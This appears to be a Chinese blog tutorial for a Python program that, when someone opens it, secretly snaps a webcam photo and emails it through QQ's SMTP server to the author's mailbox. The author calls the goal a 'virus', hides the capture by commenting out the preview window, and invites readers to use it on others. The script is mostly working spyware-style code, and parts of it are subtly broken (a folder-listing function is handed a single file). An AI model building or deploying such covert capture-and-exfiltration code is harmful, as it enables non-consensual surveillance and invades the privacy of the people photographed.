Python发邮件和拍照最全教程

目录

哈喽!

拍照片

opencv的安装

方式一

方式二

方式三

其他必要模块的安装

拍照片

代码解释

VideoCapture

read

imwrite

release

发邮件

快乐的codeing!!!

 最后


哈喽!

还记得我小时候有一个想法,以后我要做一个病毒,别人一打开程序,就偷偷地拍下他一张图片来,自动发到我的邮箱里,这也算我当时的一个小愿望

这个想法在当时是基本不可能实现的,但现在就要实现一下喽

Python发邮件和拍照最全教程_第1张图片

拍照片

首先,拍照片需要opencv库

这个库卡住了我好几天,就是死活安不上

opencv的安装

方式一

终端运行输入

pip install opencv-python

这种方法有可能不行,看运气吧

方式二

去GitHub上手动下载,网址:链接

下载下来是一个名叫 "opencv-python-master" 的文件,你把它保存到你下载python环境的路径里

比如你的路径是C:/home/xxxx/...../python3.6/lib/site-package这个文件夹里

你进入编译器(以pycharm为例),输入 " import cv2 "查看有无报错

如果有报错,去看方式三

如果无报错,恭喜你,安装成功啦!

Python发邮件和拍照最全教程_第2张图片

方式三

 如果还没有安上,打开你的PyCharm

File--->Setting

Python发邮件和拍照最全教程_第3张图片

 然后出来这个页面,点这里

Python发邮件和拍照最全教程_第4张图片

 以上是安装opencv

其他必要模块的安装

pip install exifread

以上内容cmd运行

还有一些模块,你们的可能是内置的,如果一会代码有报错,就按照这个模板安装

pip/pip3 + install + 模块名

拍照片

既然我们有了opencv,那拍照片还不是绰绰有余?

def getphoto():
    cap = cv2.VideoCapture(0)
    ret, frame = cap.read()
    cv2.imwrite('1.jpg', frame)
    #cv2.imshow("capture", frame)
    cap.release()
    cv2.destroyAllWindows()

代码解释

这段程序是cv2调用摄像头的代码,我下面会写详细介绍

注意我注释掉那行如果去掉注释运行程序会有一个灰框框闪一下

这是显示的摄像头拍到的内容

而我前面也说过是偷偷拍照,所以这行代码注释掉,可以去掉注释自己看看效果

VideoCapture

cv2.VideoCapture()用于读取视频,也可以用于读取摄像头图像。

videocapture()的参数是设备的索引号,或者是一个视频文件。如果设备索引号是本身的笔记本的内置摄像头,则其参数为0.可以设置1或者其他的来选择别的摄像头。

这里设一个变量cap=cv2.VidevCapture(0)就是把图片保存到变量cap里

read

ret,frame = cap.read()

这行的意思是

按帧读取视频,返回值ret是布尔型,正确读取则返回True,读取失败或读取视频结尾则会返回False。frame为每一帧的图像,这里图像是三维矩阵,即frame.shape = (640,480,3),读取的图像为BGR格式。

imwrite

使用函数cv2.imwrite(file,img,num)保存一个图像。第一个参数是要保存的文件名,第二个参数是要保存的图像。可选的第三个参数,它针对特定的格式:对于JPEG,其表示的是图像的质量,用0 - 100的整数表示,默认95;对于png ,第三个参数表示的是压缩级别。默认为3.

release

这个函数就是释放资源

因为你还没有释放相机设备资源,那么它将引发比如Device or resource busy之类的报错,从而引发OpenCV异常

最后,关闭相机,完事!!

Python发邮件和拍照最全教程_第5张图片Python发邮件和拍照最全教程_第6张图片 

发邮件

这个有麻烦,不过,不经历风雨,怎能见得彩虹?

Python发邮件和拍照最全教程_第7张图片

首先,登录你的QQ,点这个打开邮箱

Python发邮件和拍照最全教程_第8张图片

 点设置

Python发邮件和拍照最全教程_第9张图片

 选账户

Python发邮件和拍照最全教程_第10张图片

找到这个

Python发邮件和拍照最全教程_第11张图片

如果你的这个是关闭状态,把它开启一下,你会获得一个密码 

记住这个密码

快乐的codeing!!!

先看一下运行效果

一运行,就看见摄像头上闪了一下,接着就收到了邮件

Python发邮件和拍照最全教程_第12张图片

可以看到有个人(原图片我是代码调过亮度的,很清楚,这里我打了码)

代码

import smtplib
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication
import random
import os
import numpy as np
import cv2
import exifread

def getphoto():
    cap = cv2.VideoCapture(0)
    ret, frame = cap.read()
    cv2.imwrite('1.jpg', frame)
    cv2.imshow("capture", frame)
    cap.release()
    cv2.destroyAllWindows()


def send_email(msg_from, passwd, msg_to, text_content, file_path):
    msg = MIMEMultipart()
    subject = "有人打开程序!"  # 主题
    text = MIMEText(text_content)
    msg.attach(text)

    file_path = r'1.jpg'
    if file_path:
        docFile = file_path
        docApart = MIMEApplication(open(docFile, 'rb').read())
        docApart.add_header('Content-Disposition', 'attachment', filename=docFile)
        msg.attach(docApart)
    msg['Subject'] = subject
    msg['From'] = msg_from
    msg['To'] = msg_to
    try:
        s = smtplib.SMTP_SSL("smtp.qq.com", 465)
        s.login(msg_from, passwd)
        s.sendmail(msg_from, msg_to, msg.as_string())
    except smtplib.SMTPException as e:
        print("Error")
    finally:
        s.quit()

def read_path(file_pathname,shu):
    for filename in os.listdir(file_pathname):
        print(filename)
        img = cv2.imread(file_pathname+'/'+filename)
        image = np.power(img, shu)			# 对像素值指数变换
        cv2.imwrite(filename, image)

if __name__ == '__main__':
    getphoto()
    img = cv2.imread('1.jpg')
    # 把图片转换为单通道的灰度图
    gray_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
    # 获取形状以及长宽
    img_shape = gray_img.shape
    height, width = img_shape[0], img_shape[1]
    size = gray_img.size
    # 灰度图的直方图
    hist = cv2.calcHist([gray_img], [0], None, [256], [0, 256])
    # 计算灰度图像素点偏离均值(128)程序
    a = 0
    ma = 0
    # np.full 构造一个数组,用指定值填充其元素
    reduce_matrix = np.full((height, width), 128)
    shift_value = gray_img - reduce_matrix
    shift_sum = np.sum(shift_value)
    da = shift_sum / size
    # 计算偏离128的平均偏差
    for i in range(256):
        ma += (abs(i - 128 - da) * hist[i])
    m = abs(ma / size)
    # 亮度系数
    k = abs(da) / m
    #print(k)
    if k[0] > 1:
        # 过亮
        if da > 0:
            read_path("1.jpg",0.8)
        else:
            read_path("1.jpg",1.2)
    fr = open("1.jpg","rb")
    imageinfo=exifread.process_file(fr)
    msg_from = '[email protected]'  # 发送方邮箱(写你的邮箱)
    passwd = 'xxxxxxxx'#这个地方写你刚才获得的密码
    msg_to = '[email protected]'#接受方邮箱(写你的邮箱)
    text_content = "有人打开了程序!"
    file_path = '1.jpg'  # 需要发送的附件目录
    send_email(msg_from, passwd, msg_to, text_content, file_path)

好啦,可以拿去整人啦

Python发邮件和拍照最全教程_第13张图片

 最后

哈哈哈哈哈哈!

可以整人啦!!

希望上热榜,一百名也不要紧,玩的就是成就感,哈哈哈哈哈

Python发邮件和拍照最全教程_第14张图片

再见!

你可能感兴趣的:(python)